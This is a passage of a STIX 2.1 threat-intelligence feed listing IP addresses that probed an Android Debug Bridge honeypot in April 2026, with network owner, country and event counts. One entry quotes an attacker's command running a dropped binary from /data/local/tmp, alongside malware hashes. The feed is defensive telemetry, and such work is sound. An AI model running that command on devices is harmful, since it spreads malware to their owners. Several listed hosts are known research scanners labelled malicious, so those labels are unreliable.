      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-19T11:05:09.000Z | last_seen=2026-04-29T06:19:13.844Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--21f9970c-ffff-40c6-be6f-c7226b256797",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:00:02.000Z",
      "valid_until": "2026-05-21T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-19T11:05:09.000Z",
          "last_seen": "2026-04-29T06:19:13.844Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T14:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-19T13:27:57.000Z | last_seen=2026-04-19T13:29:07.370Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--43b1c8f5-3fc2-46fb-be74-0d0d564ad75d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T14:00:01.000Z",
      "valid_until": "2026-05-21T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-19T13:27:57.000Z",
          "last_seen": "2026-04-19T13:29:07.370Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-19T14:13:51.000Z | last_seen=2026-04-19T14:14:55.450Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c3458e23-83ee-4ad2-b6ef-017c1cf25bbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.227.5.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:00:03.000Z",
      "valid_until": "2026-05-21T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-19T14:13:51.000Z",
          "last_seen": "2026-04-19T14:14:55.450Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-19T15:46:54.000Z | last_seen=2026-04-19T15:48:04.121Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--99655e23-7d86-4b07-921a-7802fee585be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.42.164.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:00:02.000Z",
      "valid_until": "2026-05-21T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-19T15:46:54.000Z",
          "last_seen": "2026-04-19T15:48:04.121Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=AR; asn=14593; asn_org=Space Exploration Technologies Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-19T17:05:53.000Z | last_seen=2026-04-19T17:15:54.310Z | ports=5555 | cc=AR | asn=14593 | org=Space Exploration Technologies Corporation",
      "id": "indicator--832feb60-54f3-4432-a35c-f8abae834953",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '129.224.215.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:00:02.000Z",
      "valid_until": "2026-05-21T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-19T17:05:53.000Z",
          "last_seen": "2026-04-19T17:15:54.310Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AR"
          ],
          "asn": [
            "14593"
          ],
          "org": [
            "Space Exploration Technologies Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-19T18:34:28.000Z | last_seen=2026-04-19T18:44:40.212Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--d30541f8-d0fd-450b-b682-ea13be871f17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.92.152.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:00:02.000Z",
      "valid_until": "2026-05-21T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-19T18:34:28.000Z",
          "last_seen": "2026-04-19T18:44:40.212Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T20:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=41; ports=5555; cc=US; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=41 | first_seen=2026-04-19T19:07:55.000Z | last_seen=2026-04-19T19:32:53.620Z | ports=5555 | cc=US | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T20:00:04.000Z",
      "valid_until": "2026-05-21T20:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 41,
          "first_seen": "2026-04-19T19:07:55.000Z",
          "last_seen": "2026-04-19T19:32:53.620Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=211607; asn_org=Securitytrails, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-19T21:13:02.000Z | last_seen=2026-04-19T21:14:08.962Z | ports=5555 | cc=US | asn=211607 | org=Securitytrails, LLC",
      "id": "indicator--332a1acd-e317-481f-94b0-d7580ab16c5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.230.103.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T22:00:02.000Z",
      "valid_until": "2026-05-21T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-19T21:13:02.000Z",
          "last_seen": "2026-04-19T21:14:08.962Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "211607"
          ],
          "org": [
            "Securitytrails, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=NL; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=21 | first_seen=2026-04-19T22:14:24.000Z | last_seen=2026-04-20T12:12:47.656Z | ports=5555 | cc=NL | asn=202412 | org=Omegatech LTD",
      "id": "indicator--a30ce149-bad2-42cc-b0dd-fd85355c8888",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '158.94.209.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T23:00:02.000Z",
      "valid_until": "2026-05-21T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 21,
          "first_seen": "2026-04-19T22:14:24.000Z",
          "last_seen": "2026-04-20T12:12:47.656Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-19T22:15:06.000Z | last_seen=2026-04-19T22:39:45.781Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f3e7cb5f-0d28-4df1-bd5b-b3d601699ba4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.227.189.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T23:00:02.000Z",
      "valid_until": "2026-05-21T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-19T22:15:06.000Z",
          "last_seen": "2026-04-19T22:39:45.781Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=DE; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=51 | first_seen=2026-04-19T22:18:51.000Z | last_seen=2026-04-19T22:20:50.150Z | ports=5555 | cc=DE | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--05a44322-7454-4b7a-9f3b-cf72f216b67b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.209.119.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T23:00:02.000Z",
      "valid_until": "2026-05-21T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 51,
          "first_seen": "2026-04-19T22:18:51.000Z",
          "last_seen": "2026-04-19T22:20:50.150Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=63; ports=5555; cc=TW; asn=1659; asn_org=Taiwan Academic Network TANet Information Center; cats=Generic Protocol Command Decode; adb_cmd_hits=28; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-04. events=66 | first_seen=2026-04-20T00:50:57.000Z | last_seen=2026-04-20T01:03:15.467Z | ports=5555 | cc=TW | asn=1659 | org=Taiwan Academic Network TANet Information Center | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--14a4bc79-4d05-47ea-ae77-d3e183a102a5",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '140.122.108.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:00:03.000Z",
      "valid_until": "2026-05-22T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 66,
          "first_seen": "2026-04-20T00:50:57.000Z",
          "last_seen": "2026-04-20T01:03:15.467Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "1659"
          ],
          "org": [
            "Taiwan Academic Network TANet Information Center"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-20T00:28:40.000Z | last_seen=2026-04-20T00:30:21.717Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--56a6b178-8869-4298-aed9-95b39a927f6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:00:03.000Z",
      "valid_until": "2026-05-22T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-20T00:28:40.000Z",
          "last_seen": "2026-04-20T00:30:21.717Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T09:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-20T08:50:29.000Z | last_seen=2026-04-20T08:51:32.440Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--9b9108b1-42d0-45ef-ac44-9710813b3f87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:00:15.000Z",
      "valid_until": "2026-05-22T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-20T08:50:29.000Z",
          "last_seen": "2026-04-20T08:51:32.440Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=12271; asn_org=Charter Communications Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-20T10:02:36.000Z | last_seen=2026-04-20T10:12:45.599Z | ports=5555 | cc=US | asn=12271 | org=Charter Communications Inc",
      "id": "indicator--ac573726-c3d6-4d1f-bb16-6c5f942dda13",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '24.102.81.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T11:00:03.000Z",
      "valid_until": "2026-05-22T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-20T10:02:36.000Z",
          "last_seen": "2026-04-20T10:12:45.599Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "12271"
          ],
          "org": [
            "Charter Communications Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-20T12:18:20.000Z | last_seen=2026-04-20T12:19:29.783Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--79d2e27c-cb4a-4ecf-abd6-3a18f2e5ea88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.165.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:00:03.000Z",
      "valid_until": "2026-05-22T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-20T12:18:20.000Z",
          "last_seen": "2026-04-20T12:19:29.783Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
